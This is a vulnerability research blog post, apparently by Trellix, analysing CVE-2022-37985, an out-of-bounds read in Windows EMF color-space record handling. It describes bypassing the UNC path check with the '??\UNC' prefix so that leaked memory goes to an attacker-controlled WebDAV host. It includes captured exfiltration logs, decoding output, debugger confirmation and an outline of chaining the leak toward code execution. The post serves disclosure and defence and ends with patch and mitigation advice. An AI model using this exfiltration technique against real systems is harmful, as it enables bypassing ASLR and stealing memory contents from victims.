The Art of Information Disclosure: A Deep Dive into CVE-2022-37985, a Unique Information Disclosure Vulnerability in Windows Graphics Component

By Bing Sun · May 03, 2023

Overview

In October 2022, Microsoft released a security patch to address a unique information disclosure vulnerability in the Windows Graphics Component. The vulnerability, known as CVE-2022-37985, was discovered and reported to Microsoft by the Trellix Advanced Research Center. This information disclosure vulnerability is unique in that it enables a remote attacker to exfiltrate sensitive information, such as a memory address, through a native networking mechanism in the vulnerable component itself. This capability can be particularly useful under certain vulnerability exploitation scenarios, such as when exploiting a memory corruption vulnerability in Microsoft Word. Exploiting such a vulnerability is believed to be very challenging because no interactive scripting runtime, such as JavaScript engine, is available for manipulating the data in memory. In this exploitation scenario, an attacker can leverage a Word document containing an exploit of this vulnerability to obtain the module address information to defeat the Address Space Layout Randomization (ASLR) protection. Moreover, when this vulnerability is used in chain with other memory write vulnerabilities, it would be possible to achieve remote code execution in Microsoft Word. In this blog post, we will take a deep dive into the technical details of CVE-2022-37985, explore the root cause of the vulnerability, and discuss the exploitation method. Additionally, we will examine how the security patch released by Microsoft fixes this issue and provide guidance on mitigating the risks associated with this unique vulnerability. More information about Microsoft’s patch for CVE-2022-37985 can be found on the Microsoft Security Response Center website at <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37985&gt;.

Root cause analysis

The vulnerability, CVE-2022-37985, can be triggered by rendering a specially crafted Enhanced Metafile Format (EMF) image file, such as by extracting its thumbnail image. EMF is a file format used for storing portable representations of graphical images, and an EMF metafile consists of a sequence of records containing drawing commands, object definitions, and configuration settings. These records are parsed and processed to render the stored image on the output device. The specific record that causes this vulnerability is the EMR_CREATECOLORSPACE record, which is used to create a logical color space object from a color profile with an ASCII file name. In color management, a color space refers to a specific range of colors that can be represented, such as RGB. A color profile file, on the other hand, is a data file that describes the color characteristics of a particular device or color space, and it’s used to translate colors between different devices or color spaces, ensuring that colors remain consistent and accurate across various mediums.

The structure of the EMR_CREATECOLORSPACE record and the LogColorSpace object are defined in the MS-EMF and MS-WMF specifications, respectively, as depicted in Figure 1 below. The EMR_CREATECOLORSPACE record embeds a LogColorSpace object that specifies the logical color space to be created. Within the LogColorSpace object, there is an optional and variable-length Filename field that specifies the name of the color profile in ASCII characters, with a maximum length of 260 bytes. Under normal circumstances, the Filename field should be a null-terminated ASCII string, and the Size field of the EMR_CREATECOLORSPACE record should properly reflect the length of the entire record, including the variable Filename portion.

Figure 1 EMR_CREATECOLORSAPCE Record and LogColorSpace Object

The gdi32full.dll library is the Windows Graphics Component responsible for parsing and processing EMF records, while the MRCREATECOLORSPACE::bPlay function serves as the handler for playing EMR_CREATECOLORSPACE record. Prior to invoking the CreateColorSpaceA function to create a logical color space object, MRCREATECOLORSPACE::bPlay conducts a preliminary check on the EMR_CREATECOLORSPACE record using the MRCREATECOLORSPACE::bCheckRecord function. As its name suggests, this function aims to ensure the integrity of the EMR_CREATECOLORSPACE record. Unfortunately, MRCREATECOLORSPACE::bCheckRecord only validates the length of the Filename field not exceed 260 bytes, without verifying its presence or termination with a null character (as shown in Figure 2). This oversight can result in an out-of-bounds read condition when accessing the defective Filename field later.

Figure 2 MRCREATECOLORSPACE::bCheckRecord before patch

As a result of the aforementioned flaw in the checking logic, it is possible for a malformed EMR_CREATECOLORSPACE record to bypass the checks implemented by MRCREATECOLORSPACE::bCheckRecord and make its way to the CreateColorSpaceA function. Within this function, the length of the Filename field is calculated, and the ASCII Filename is then converted to Unicode format before being passed to the CreateColorSpaceInternalW function that is responsible for loading the specified color profile file. An example of a malformed EMR_CREATECOLORSPACE record is shown in the following screenshot, where the Filename field is absent, and the length calculation code reads four uninitialized padding bytes (0xd0d0d0d0) beyond the end of the record before stopping at an unmapped address (page heap enabled). This is a classic out-of-bounds read vulnerability, which could potentially result in the leaking of heap memory up to 260 bytes.

Figure 3 Out-of-bounds read caused by a malformed EMR_CREATECOLORSPACE record

Exploitation of the vulnerability

When we initially reported this vulnerability to MSRC, they deemed it as a limited information disclosure issue, and thus did not consider it serious enough to warrant a security update. There are likely two reasons for this assessment. First, it would be challenging to return the leaked memory bytes for future use due to the inherent nature of the vulnerability. While exploiting the image related information disclosure vulnerabilities via a scripting runtime, such as by calling the Canvas Pixel API, is a well-known and commonly used approach, it cannot be used in this particular case to read back the leaked data. Furthermore, most vulnerable applications that support scripting runtime, including modern browsers like Chrome and Edge, have discontinued the support for metafile image rendering, thereby limiting the scope of the vulnerability’s impact. Second, the Filename field is processed as an ASCII string, so the out-of-bounds access stops when a null character (0x00) is encountered, reducing the potential severity of the vulnerability. However, we were not willing to give up easily, so we continued our investigation in search of alternative exploitation methods to address these two challenges.

After several hours of poring over the specifications and debugging, we eventually discovered a native network channel that could be utilized to exfiltrate the leaked memory data. The key lay in the ColorSpaceType field of the LogColorSpace object (refer to Figure 1), specifically when the enumeration value LCS_PROFILE_LINKED (0x4C494E4B) assigned to it, which enables the loading of a color profile from a separate file (LCS_CALIBRATED_RGB may serve the same purpose). Since LCS_PROFILE_LINKED allows for loading an external color profile, we conjectured that this functionality could potentially support loading a profile from an UNC path. If we specify an UNC path that points to a remote machine under our control and leave the UNC path string unterminated, it’ll cause reading out of the bound of the string when converting the color profile file path to Unicode format. As such, there will be a chance that the converted file path may carry the memory bytes leaked from the out-of-bounds read, and these bytes will then be sent to our remote machine along with the remote color profile loading request. With this idea in mind, we crafted a LogColorSpace object with the ColorSpaceType field set to LCS_PROFILE_LINKED and the Filename set to something like “\\172.16.96.***”. However, this first attempt didn’t work out as expected, and it seemed that the remote color profile loading request was never sent out at all.

Then we spent additional time tracing deeper into the CreateColorSpaceInternalW function. It wasn’t long before we discovered that the UNC path was actually being blocked by the BuildIcmProfilePath function, which is called from CreateColorSpaceInternalW function. This function checks whether the color profile path starts with a double slash or backslash character, and returns an error if it finds either (see Figure 4 below).

Figure 4 UNC path check in BuildIcmProfilePath function

With this knowledge, we decided to try replacing “\\” with the NT internal path prefix representation “??\UNC”. To our delight, this alternative path prefix did successfully bypass the checks enforced by the BuildIcmProfilePath function, allowing the remote color profile loading request to reach KERNELBASE!CreateFileW without encountering any further issue. Figure 5 demonstrates that the leaked memory byte is now being part of the lpFileName parameter of the CreateFileW API. Once the file open request arrives there, the operating system takes care of the rest. Depending on the UNC path scheme, the operating system will choose the appropriate network protocol to deliver the request, such as via WEBDAV (a HTTP extension) or SMB. In a default Windows configuration, SMB is the default protocol to use. However, if a port is specified in the UNC path (with the @ symbol), the WEBDAV protocol will come into play. It’s also worth noting that the non-ASCII and unprintable characters of smuggled data are likely to be encoded, such as being percent-encoded in WEBDAV URI, so the receiver may need to have a decoder to recover this information.

Figure 5 Exfiltrating information through a remote color profile loading request

Up until now, we’ve successfully addressed the first challenge, but the second challenge concerning data truncation upon the null character seems to be an unavoidable obstacle. However, all is not lost. There are still ways to mitigate this issue. For one, we can increase the number of triggers of the vulnerability. For example, this can be achieved by crafting numerous malformed EMR_CREATECOLORSPACE records within an EMF image, and embedding multiple copies of the resulting EMF in a Word document. Moreover, since the length of the UNC path is within our control, we can leverage the Windows heap Fengshui technique to adjust the length of the path (hence the size of the entire record), thereby placing the records into different areas on the heap (i.e. different heap buckets). By employing these two measures, we can maximize the chances of successfully leaking meaningful information from the targeted application, such as a virtual function table pointer (vftable pointer) or a partial oauth2 access token (base64 encoded).

Exploitation in action

In this section, we will be targeting Microsoft Word for Microsoft 365 (64-bit), which attempts to render the embedded EMF images in a Word document when it’s opened. We will be using this as an example to showcase how this vulnerability can be exploited to leak sensitive information. To initiate the exploitation, we will set the Filename field to start with “??\UNC\172.16.96.***@8888\”, which directs to a WEBDAV server under our control, followed by a sequence of padding bytes “x” that allow us to control the overall record size. As previously mentioned, we will also utilize a tactic that involves inserting multiple copies of an EMF file in a Word document, increasing the likelihood of successfully exploiting the vulnerability. On the attacker side, we will employ the SharpWebServer tool to listen on the specified port and monitor incoming HTTP requests. The malicious Word document can be distributed to the victim via various methods, such as a phishing email, a link on SharePoint or thumb drive. Once the victim opens the document, the embedded EMF images will be processed within the winword.exe process, repeatedly triggering the vulnerability. At this point, SharpWebServer should detect incoming HTTP requests with leaked memory concealed in their URI. With a simple Python script, we can decode the leaked data, and we can also verify the authenticity of the leaked information by attaching Windbg to winword.exe on the victim’s system.

C:&gt;SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true
:: SharpWebServer ::
a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality
[.] Serving HTTP server on port : 8888
[.] Serving files from directory : C:\Windows\Temp
[.] Verbose mode turned on.
…
SharpWebServer [06.07.22, 18:39:40] 172.16.96.*** - “PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C3%A8%C3%96i%C2%B6%C3%BD%7F” - len: 0 (404)
…
SharpWebServer [06.07.22, 18:40:20] 172.16.96.*** - “PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F” - len: 0 (404)
…
C:&gt;python decode.py %C3%A8%C3%96i%C2%B6%C3%BD%7F
The original leaked bytes are: ‘\xe8\xd6i\xb6\xfd\x7f’
The decoded leaked bytes are: 0xe8 0xd6 0x69 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb669d6e8
C:&gt;python decode.py %C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F
The original leaked bytes are: ‘\u017d\xa4\xc6\xb6\xfd\x7f’
The decoded leaked bytes are: 0x8e 0xa4 0xc6 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb6c6a48e
0:034> u 0x7ffdb669d6e8
mso20win32client!Ordinal1409+0x1f998:
00007ffdb669d6e8 c03939 sar byte ptr [rcx],39h 00007ffdb669d6eb b6fd mov dh,0FDh
00007ffdb669d6ed 7f00 jg mso20win32client!Ordinal1409+0x1f99f (00007ffdb669d6ef)
0:034> dp 0x7ffdb669d6e8 L1
00007ffd b669d6e8 00007ffdb63939c0
0:034> u 0x7ffdb6c6a48e
wwlib!DllMain+0x10bc5e:
00007ffdb6c6a48e 3d01020480 cmp eax,80040201h 00007ffdb6c6a493 0f841fa7ffff je wwlib!DllMain+0x106388 (00007ffd`b6c64bb8)

The Proof of Concept (PoC) above demonstrates how this vulnerability can be exploited to leak useful information from memory, such as vftable pointer and address of a loaded module. It’s worth noting that the exploitation of this information disclosure vulnerability differs from the traditional way, in which information is usually disclosed and used on the spot. With this vulnerability, however, the leaked information is sent back to the attacker for later use. We believe that this attribute has some advantages under certain circumstances, such as when exploiting memory-based vulnerabilities in Microsoft Office.

As we all know, memory-based vulnerabilities in Microsoft Office are difficult to exploit, mainly because Microsoft Office lacks scripting language support (analogous to JavaScript in the context of browser-based exploitation) for manipulating the data in memory, such as reading back the leaked memory information. This information disclosure vulnerability, though, can solve this problem by sending the leaked information back to the attacker through a native network channel. With this information, the attacker can then construct a second-stage exploit using another memory write vulnerability to eventually achieve remote code execution on the victim machine. In this multiple-stage, chain-like setup, the first-stage exploit is embedded in the Word document, while the second-stage exploit is retrieved at runtime. A link to the second-stage exploit can be pre-embedded in the same Word document, still pointing to an attacker-controlled UNC path. However, the attacker needs to precisely control the timing for triggering the retrieval of the second-stage exploit.

Mitigation of the vulnerability

So far, we’ve thoroughly explored the technical details of CVE-2022-37985, including the root cause and exploitation method. In this section, we will discuss the mitigation of the vulnerability.

The most straightforward and effective way to mitigate this issue is to apply the Microsoft patches that have been released specifically for this vulnerability. The patch modified the MRCREATECOLORSPACE::bCheckRecord function and introduced additional checks to validate the integrity of the EMR_CREATECOLORSPACE record. The newly added checks ensure that the Filename field is a null-terminated ASCII string and its length is correctly included in the Size field of the EMR_CREATECOLORSPACE record (see Figure 6). Given the high exploitability and potential impact of this vulnerability, we strongly recommend that all users of the affected Windows versions to update their operating systems to the latest versions as soon as possible.

Figure 6 MRCREATECOLORSPACE::bCheckRecord after patch

For some systems where applying Microsoft patches is not an option, users can temporarily disable the webclient service to prevent data exfiltration via the WEBDAV protocol. Additionally, closely monitoring suspicious outgoing network traffic can also help identify potential exploitation attempts. In the case of a Microsoft Word exploitation scenario, users should make sure that the “Protected View” feature is enabled. This feature can effectively block untrusted content embedded in a Word document and help to prevent exploitation attempts.

Lastly, third-party security products are also a good choice to help protect users from attacks. We at Trellix provide a network IPS signature, “0x452b8e00: http: Microsoft Windows Graphics Component Information Disclosure Vulnerability (CVE-2022-37985),” that can be used to detect the exploitation attempts of this vulnerability.

Conclusion

In this blog post, we have delved into the details of CVE-2022-37985, a unique information disclosure vulnerability in the Windows Graphics Component that enables a remote attacker to exfiltrate sensitive information through a built-in networking mechanism. We have explored the root cause of the vulnerability and discussed the exploitation method, as well as the security patch released by Microsoft to address the issue. Furthermore, using Microsoft Word as an example, we have demonstrated how this vulnerability can be leveraged to bypass ASLR protection, and the potential for this vulnerability to be weaponized into a real remote code execution exploit when used in conjunction with other vulnerabilities. The distinctive nature of CVE-2022-37985 highlights the importance of being continuously vigilant and remaining alert to emerging threats. Considering the exploitability and impact of CVE-2022-3785, the Trellix Advanced Research Center strongly urges all users to take necessary measures to protect themselves, including following best security practices, promptly applying security patches, and deploying the intrusion prevention products.

_ This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers. Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy. Any attempt to recreate part or all of the activities described is solely at the user’s risk; neither Trellix nor its affiliates will bear any responsibility or liability. _